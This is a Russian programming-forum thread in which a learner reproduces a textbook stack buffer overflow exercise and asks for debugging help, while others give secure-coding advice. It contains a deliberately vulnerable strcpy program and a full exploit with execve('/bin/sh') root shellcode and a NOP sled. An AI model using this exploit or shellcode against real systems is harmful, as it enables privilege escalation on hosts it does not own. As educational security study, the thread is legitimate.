Форум программистов, компьютерный форум CyberForum.ru

Хакинг. Искусство эксплойта - C++

Восстановить пароль Регистрация
 
 
Рейтинг: Рейтинг темы: голосов - 24, средняя оценка - 4.79
TagaBenz
0 / 0 / 0
Регистрация: 04.03.2013
Сообщений: 21
25.03.2013, 00:58     Хакинг. Искусство эксплойта #1
Прежде исложить свою проблему хочу спросить, читал ли кто-нибудь и пробовал на практике задачи описанные в книге Джона Эриксона: "Хакинг. Искусство эксплойта" ?
ссылка на книгу: http://www.ozon.ru/context/detail/id...abenz&from=bar
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
25.03.2013, 00:58     Хакинг. Искусство эксплойта
Посмотрите здесь:

Вранье как искусство
Графити как искусство
в искусство вложен не малый программный код)))
Компьютерное искусство Pascal
Ремесло или искусство?
После регистрации реклама в сообщениях будет скрыта и будут доступны все возможности форума.
Avazart
 Аватар для Avazart
6900 / 5140 / 252
Регистрация: 10.12.2010
Сообщений: 22,584
Записей в блоге: 17
25.03.2013, 01:46     Хакинг. Искусство эксплойта #2
Это не форум хакеров, это форум программистов ...
MrGluck
Ворчун
Эксперт С++
 Аватар для MrGluck
4920 / 2663 / 243
Регистрация: 29.11.2010
Сообщений: 7,409
25.03.2013, 03:11     Хакинг. Искусство эксплойта #3
Avazart, там рассматриваются и аспекты С, С++, ASM.
По моему надо знать, что в твоем коде может породить дыру. Сам книгу сейчас добавил в список для прочтения.
taras atavin
Ушёл с форума.
 Аватар для taras atavin
3569 / 1752 / 91
Регистрация: 24.11.2009
Сообщений: 27,619
25.03.2013, 07:18     Хакинг. Искусство эксплойта #4
ИМХО хакинг, обсуждаемый в контексте борьбы с ним - вполне нормальная тема для форума программистов.
BumerangSP
 Аватар для BumerangSP
4283 / 1405 / 121
Регистрация: 16.12.2010
Сообщений: 2,941
Записей в блоге: 3
25.03.2013, 12:07     Хакинг. Искусство эксплойта #5
Запрещено создание и распространение вредоносного ПО (вирусов), кряков и взлома лицензионного софта, а также публикация ссылок для их скачивания.
Все остальное можно.
Avazart
 Аватар для Avazart
6900 / 5140 / 252
Регистрация: 10.12.2010
Сообщений: 22,584
Записей в блоге: 17
25.03.2013, 15:43     Хакинг. Искусство эксплойта #6
Цитата Сообщение от MrGluck Посмотреть сообщение
Avazart, там рассматриваются и аспекты С, С++, ASM.
По моему надо знать, что в твоем коде может породить дыру. Сам книгу сейчас добавил в список для прочтения.
Цитата Сообщение от taras atavin Посмотреть сообщение
ИМХО хакинг, обсуждаемый в контексте борьбы с ним - вполне нормальная тема для форума программистов.
ПРдон ... но не в разделе новичков ... ибо это наталкивает на мысль что хакинг только с целью хакинга ...
taras atavin
Ушёл с форума.
 Аватар для taras atavin
3569 / 1752 / 91
Регистрация: 24.11.2009
Сообщений: 27,619
25.03.2013, 15:45     Хакинг. Искусство эксплойта #7
Новичок как раз всё равно не сможет хакнуть, а начать учиться защищать свой код ни когда не рано, так как именно новичковый код в первую очередь хакнут. Или предпочитаете снести тему разделом выше?
Kastaneda
Модератор
Эксперт С++
 Аватар для Kastaneda
4236 / 2769 / 218
Регистрация: 12.12.2009
Сообщений: 7,104
Записей в блоге: 1
Завершенные тесты: 1
25.03.2013, 15:52     Хакинг. Искусство эксплойта #8
с озона
Книга дает полное представление о программировании, машинной архитектуре, сетевых соединениях и хакерских приемах.
при этом книга 512 стр.
Ну ну
chizz
 Аватар для chizz
975 / 489 / 54
Регистрация: 19.03.2013
Сообщений: 3,047
Записей в блоге: 18
Завершенные тесты: 1
25.03.2013, 16:12     Хакинг. Искусство эксплойта #9
Покупал эту книжку. Не осилил
А так чтиво интересное
taras atavin
Ушёл с форума.
 Аватар для taras atavin
3569 / 1752 / 91
Регистрация: 24.11.2009
Сообщений: 27,619
25.03.2013, 16:25     Хакинг. Искусство эксплойта #10
Всё равно новичок не сможет хакнуть по книге: опубликованное уже пофиксено всеми, кроме ему подобных, а что то новое на основе прочитанного он пока не придумает. Защищаться же книга как раз научит хоть от чего то.
TagaBenz
0 / 0 / 0
Регистрация: 04.03.2013
Сообщений: 21
26.03.2013, 01:31  [ТС]     Хакинг. Искусство эксплойта #11
Всем спасибо за бурное обсуждение в моей темы)) А вот и собственно сами вопросы:
Иммется уязвия программа с правми рут.
C++
1
2
3
4
5
6
7
#include <string.h>
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
(Уязвимость ее в том, что она принимает один аргумент и пытается поместить его данные, какие бы они не были в буффер размером 500 байт)

Ниже показан код эксплойта, который создает буфер и передает его уязвимой программе в надежде заставить ее выполнить внедренный в буфер шелкод, а не просто аварийно завершиться. Код эксплойта сначала получает текущий указатель стека и вычитает из него смещение. В данном случае смещение равно 0. Выделяется память для буфера (в куче), и весь он заполняется адресом возврата. Зателм первые 200 байт буфера заполняются NOP-цепочкой. После NOP-цепочки помещается шелкод, а в оставщийся части буфера сохраняется записанный адрес возврата. Наконец еще одна функция запускает уязвимую программу и передает ей специально сконструированный буфер.
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <iostream>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
using namespace std;
 
char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
 
unsigned long sp(void)                   // Эта маленькая функция
{ __asm__("movl %esp, %eax");}   // возвращает указатель на стек
 
int main(int argc, char *argv[]){
 
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
 
offset = 0;           // Задать смещение 0
esp = sp();          // Поместить текущий указатель стека в esp
ret = esp - offset; // Мы хотим перепесать адрес возврата
 
printf("Stack pointer (ESP) : 0x%x\n", static_cast<int>(esp));
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired return Addr : 0x%x\n", static_cast<int>(ret));
 
buffer = static_cast<char*>(malloc(600)); // Выделить для буфера 600 байт (в куче)
//buffer = malloc(600);
 
// Заполнить весь буфер нужным адресом возврата
ptr=buffer;
addr_ptr=(long *) ptr;
for(i=0; i<600; i+=4)
{ *(addr_ptr++)=ret;}
 
// Заполнить первые 200 байт буфера командами NOP
for(i=0; i<200; i++)
{buffer[i]='\x90';}
 
// Поместить шелкод после NOP-цепочки
ptr=buffer + 200;
for(i=0; i<strlen(shellcode); i++)
{ *(ptr++)=shellcode[i];}
 
// Завершить строку
buffer[600-1]=0;
 
// Вызываем программу и передаем в качестве аргумента построенный буфер
execl("./vuln", "vuln", buffer, NULL);
free(buffer);
return 0;
}
Так должен выглядеть результат выполнения программы:

Stack pointer (ESP) : 0xbffff978
Offset from ESP : 0x0
Desired Return Addr : 0xbffff978
sh-2. 05a# whoami
root
sh-2. 05a# [


Текстовые строки у меня выводит, адресс возврата переписывается, но не запускается сам шелкод. Программа была переписанна с С на С++ и компилятор стал ругаться на строку
C++
1
buffer = malloc(600);
Не может преобразовать из *viod в *char. Пришлось сделать это явным образом как видно в строке 30. МОжет ли быть ошибка в этом? Если нет тогда в чем? очень сильно прошу в помочь разобраться..

P.S.: Предлогаю перенести тему из раздела C++ для новичков, на книге стоит пометка Уровень подготовки читателей: Высокий. Да и новичкам потом кошмары сниться будут))))
Vourhey
Почетный модератор
6468 / 2243 / 123
Регистрация: 29.07.2006
Сообщений: 12,635
26.03.2013, 01:39     Хакинг. Искусство эксплойта #12
Здесь кошмарного ничего нет. Запускаешь под дебагером и смотришь, куда у тебя передается управление на стеке при переполнении.
Friday
ну и долго меня небыло...
 Аватар для Friday
61 / 57 / 8
Регистрация: 24.03.2013
Сообщений: 173
26.03.2013, 01:49     Хакинг. Искусство эксплойта #13
Надо будет полистать книжку на досуге)
MrGluck
Ворчун
Эксперт С++
 Аватар для MrGluck
4920 / 2663 / 243
Регистрация: 29.11.2010
Сообщений: 7,409
26.03.2013, 05:32     Хакинг. Искусство эксплойта #14
Цитата Сообщение от TagaBenz Посмотреть сообщение
Программа была переписанна с С на С++ и компилятор стал ругаться на строку
компилятор С++ не преобразовывает void* память, в отличии от компилятора С. Неверно ожидать другого поведения, даже не смотря на "капабилити". Но ошибки в этом быть не может.
taras atavin
Ушёл с форума.
 Аватар для taras atavin
3569 / 1752 / 91
Регистрация: 24.11.2009
Сообщений: 27,619
26.03.2013, 12:35     Хакинг. Искусство эксплойта #15
Цитата Сообщение от TagaBenz Посмотреть сообщение
Иммется уязвия программа с правми рут.
не юзай strcopy, все переполнения от неё, от scanf и от sprintf: буфер они не создают, а размер измеряют, но не спрашивают.

Добавлено через 2 минуты
Цитата Сообщение от TagaBenz Посмотреть сообщение
Да и новичкам потом кошмары сниться будут))))
кошмары будут сниться не им, а наставникам, если таковые:
1. Имеются в наличии.
2. Начитаются новичковых кривоэксплойнтов и кривозащит от них.
А новички кошмары просто напишут.

Добавлено через 2 часа 29 минут
Как защититься от эксплойнта на стр. 131? И куда он предалагает загрузить его адрес? Предыдущие понятны: порча адреса возврата и указателей на функции, не пользоваться: strcpy, printf, sprintf и scanf, не писать собственных функций со спецификаторами записи в форматных строках. А этот не понятен.
TagaBenz
0 / 0 / 0
Регистрация: 04.03.2013
Сообщений: 21
26.03.2013, 13:40  [ТС]     Хакинг. Искусство эксплойта #16
Цитата Сообщение от taras atavin Посмотреть сообщение
не юзай strcopy, все переполнения от неё, от scanf и от sprintf: буфер они не создают, а размер измеряют, но не спрашивают.
Не совсем понял что ты пытался до меня донести, можно по подробнее?
taras atavin
Ушёл с форума.
 Аватар для taras atavin
3569 / 1752 / 91
Регистрация: 24.11.2009
Сообщений: 27,619
26.03.2013, 13:58     Хакинг. Искусство эксплойта #17
А ты не задумывался, почему TS (topic starter), а не TO (topic owner)? Автор первого поста темы лишь обращает внимание сообщества на тему, но не владеет ею, она может заинтересовать и того, кто раньше о ней не задумывался, возможно, не знал, у него могут возникнуть свои вопросы. Это нормально. Охота владеть обсуждением - веди его в блоге, а здесь я могу присоединиться в качестве второго автора вопросов.

Добавлено через 7 минут
Цитата Сообщение от TagaBenz Посмотреть сообщение
Не совсем понял что ты пытался до меня донести, можно по подробнее?
Я имею ввиду, что тот эксплойнт основан на переполнении, а оно возникает только в функциях scanf, sprintf и strcpy, не проверяющих размер предоставленного им буфера, но измеряющих количество необходимой им памяти и в анологично им написаной кривоотсебятине. Даже printf конкретно на эксплойнт переполнения подцепить не возможно, так как она просто не переполняется. Не используй эти функции. И не передавай в printf то, что ты не можешь контролировать: результат пользовательского ввода, прочитанную из файла строку... Из-за спецификатора %n она тоже опасна.
chizz
 Аватар для chizz
975 / 489 / 54
Регистрация: 19.03.2013
Сообщений: 3,047
Записей в блоге: 18
Завершенные тесты: 1
26.03.2013, 13:59     Хакинг. Искусство эксплойта #18
TagaBenz, а что делает шелкод?
taras atavin, ТС как раз и пытается выяснить как запустить шелкод, используя уязвимость в strcpy. А вы предлагаете не пользоваться strcpy )))
taras atavin
Ушёл с форума.
 Аватар для taras atavin
3569 / 1752 / 91
Регистрация: 24.11.2009
Сообщений: 27,619
26.03.2013, 14:35     Хакинг. Искусство эксплойта #19
Я предлагаю не дать другому читателю взломать написанное TagaBenzом.
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
26.03.2013, 18:15     Хакинг. Искусство эксплойта
Еще ссылки по теме:

Татуировка, как искусство
Искусство передавать мысли

Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
TagaBenz
0 / 0 / 0
Регистрация: 04.03.2013
Сообщений: 21
26.03.2013, 18:15  [ТС]     Хакинг. Искусство эксплойта #20
Цитата Сообщение от chizz Посмотреть сообщение
а что делает шелкод?
Как я понял шелкод прописывает команду в терминале, которая выводит владельца уязвимой программы, а именно команду whoami

Опыта работы с консольным отладчиком не имею вобше(( помогите разобраться

<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/r2d2/exploit...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/r2d2/exploit
Stack pointer (ESP) : 0xbffff358
Offset from ESP : 0x0
Desired return Addr : 0xbffff358
process 9404 is executing new program: /home/r2d2/vuln
*** stack smashing detected ***: vuln terminated

Program received signal SIGSEGV, Segmentation fault.
0xb756cb19 in ?? () from /lib/i386-linux-gnu/libgcc_s.so.1


Что мне делать и как искать ошибку в программе? Что означает строка 0xb756cb19 in ?? () from /lib/i386-linux-gnu/libgcc_s.so.1
Yandex
Объявления
26.03.2013, 18:15     Хакинг. Искусство эксплойта
Ответ Создать тему
Опции темы

Текущее время: 00:24. Часовой пояс GMT +3.
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2016, vBulletin Solutions, Inc.
Рейтинг@Mail.ru